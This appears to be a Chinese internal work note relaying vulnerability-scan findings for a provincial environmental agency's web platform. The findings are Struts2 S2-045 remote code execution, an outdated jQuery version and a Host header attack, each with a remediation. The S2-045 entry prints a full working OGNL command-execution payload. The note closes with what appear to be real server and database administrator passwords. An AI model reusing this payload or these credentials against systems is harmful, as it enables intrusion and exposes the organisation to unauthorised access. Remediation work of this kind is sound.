**关于等保测评中漏扫及渗透报告**

罗克佳华给了一个等保测评的漏扫及渗透报告的文档，其中有3个是国发软件的问题，现在需要咱们解决，具体问题如下：

### E:\日常工作\2019年日常工作\4月\0426 初测反馈\等保2019初测反馈\等保2019初测反馈\初测反馈\漏扫及渗透报告\山西省环保厅\网站\vuln_high.gifApache Struts2 S2-045 远程代码执行漏洞（CVE-2017-5638）--高危

|  |  |
| --- | --- |
| **请求方式** | GET |
| **URL** | http://192.168.120.99:8080/jointframe/console/ConsoleLogin!index.page?loginError=auth\_failed |
| **问题参数** | Content-Type |
| **参考（验证）** | http://192.168.120.99:8080/jointframe/console/ConsoleLogin!index.page?loginError=auth\_failed(CONTENT-TYPE)${(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT\_MEMBER\_ACCESS).(#\_memberAccess?(#\_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo mzoeikknutwbxhgylivqopnqatbclxlxcyhgumfnrdsikvxndmobpcfyqezk').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} |

|  |  |
| --- | --- |
| **详细描述** | Struts2 是第二代基于Model-View-Controller (MVC)模型的web应用框架。 Struts2是java企业级web应用的可扩展性的框架。它是WebWork和Struts社区合并后的产物。  Struts2在使用基于Jakarta插件的文件上传功能时可能存在远程命令执行，攻击者可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令导致系统被入侵。  影响版本：Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10 安全版本：Struts 2.3.32、Struts 2.5.10.1 |
| **解决办法** | 1、如您正在使用Jakarta文件上传插件或者是存在漏洞的Struts 2版本请升级至Struts2安全版本。 2、使用Servlet过滤器验证Content-Type丢弃不匹配的请求multipart/form-data。 |
| **威胁分值** | 10 |
| **危险插件** | 否 |
| **发现日期** | 2017-03-07 |
| **CVE编号** | CVE-2017-5638 |
| **CVSS评分** | 7.3(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) |

## Web应用漏洞

### E:\日常工作\2019年日常工作\4月\0426 初测反馈\等保2019初测反馈\等保2019初测反馈\初测反馈\漏扫及渗透报告\山西省环保厅\网站\vuln_middle.gif检测到目标站点存在javascript框架库漏洞—中危

|  |  |
| --- | --- |
| **请求方式** | GET |
| **URL** | http://192.168.120.99:8080/jointframe/static/script/jquery.js |
| **问题参数** |  |
| **参考（验证）** | jquery:1.8.1 |

|  |  |
| --- | --- |
| **详细描述** | JavaScript 框架或库是一组能轻松生成跨浏览器兼容的 JavaScript 代码的工具和函数。如果网站使用了存在漏洞的 JavaScript 框架或库，攻击者就可以利用此漏洞来劫持用户浏览器，进行挂马、XSS、Cookie劫持等攻击。 |
| **解决办法** | 将受影响的javascript框架库升级到最新版本。 |
| **威胁分值** | 6 |
| **危险插件** | 否 |
| **发现日期** | 2001-01-01 |
| **CVSS评分** | 6.1(CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |

### E:\日常工作\2019年日常工作\4月\0426 初测反馈\等保2019初测反馈\等保2019初测反馈\初测反馈\漏扫及渗透报告\山西省环保厅\网站\vuln_middle.gif检测到目标URL存在http host头攻击漏洞--中危

|  |  |
| --- | --- |
| **请求方式** | GET |
| **URL** | http://192.168.120.99:8080/jointframe/app/sso/login?service=http://192.168.120.99:8080/jointframe/app/sso/j\_sso\_spring\_security\_check |
| **问题参数** | Host |
| **参考（验证）** | http://192.168.120.99:8080/jointframe/app/sso/login?service=http://192.168.120.99:8080/jointframe/app/sso/j\_sso\_spring\_security\_check(HOST)www.zqculh.com |

|  |  |
| --- | --- |
| **详细描述** | 为了方便的获得网站域名，开发人员一般依赖于HTTP Host header。例如，在php里用\_SERVER["HTTP\_HOST"]。但是这个header是不可信赖的，如果应用程序没有对host header值进行处理，就有可能造成恶意代码的传入。 |
| **解决办法** | web应用程序应该使用SERVER\_NAME而不是host header。 在Apache和Nginx里可以通过设置一个虚拟机来记录所有的非法host header。在Nginx里还可以通过指定一个SERVER\_NAME名单，Apache也可以通过指定一个SERVER\_NAME名单并开启UseCanonicalName选项。 |
| **威胁分值** | 5 |
| **危险插件** | 否 |
| **发现日期** | 2008-06-12 |
| **CVSS评分** | 6.1(CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |

应用服务器：10.14.1.22:3650 administrator/sxhbt\_2009

数据库服务器：10.14.1.23:3650 administrator/sxhbt\_2009 sa/ SXHBT\_admin!@#

国发平台：http://192.168.120.99:8080/jointframe/app/AppMain!index.page

msl/111111